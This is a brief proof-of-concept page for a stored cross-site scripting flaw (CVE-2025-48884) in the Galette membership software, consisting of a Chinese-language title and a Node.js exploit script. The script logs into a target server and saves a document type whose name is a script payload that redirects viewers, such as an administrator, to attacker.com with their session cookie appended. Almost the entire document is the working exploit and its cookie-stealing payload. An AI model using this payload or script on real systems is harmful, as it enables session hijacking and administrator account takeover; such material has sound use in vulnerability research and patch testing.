CVE-2025-48884: Galette Document Type存储型XSS漏洞

// CVE-2025-48884 PoC - Galette Document Type XSS // Target: Galette <= 1.1.5.2 // Attack Type: Stored XSS in Document Type const fetch = require('node-fetch'); const TARGET = 'http://target-galette-server'; const USERNAME = '[email protected]'; const PASSWORD = 'password123'; async function login() { const response = await fetch(`${TARGET}/login`, { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: `login=${USERNAME}&password=${PASSWORD}`, redirect: 'follow' }); return response.headers.get('set-cookie'); } async function exploitStoredXSS(cookies) { // Malicious XSS payload in Document Type name field const xssPayload = '<script>document.location="https://attacker.com/steal?c=' + '"+document.cookie</script>'; // Create malicious document type await fetch(`${TARGET}/document_types/store`, { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': cookies }, body: `type_name=${encodeURIComponent(xssPayload)}&csrf_token=xxx` }); console.log('[+] Malicious Document Type created'); console.log('[+] When admin views document types, XSS will execute'); } async function main() { const cookies = await login(); await exploitStoredXSS(cookies); } main();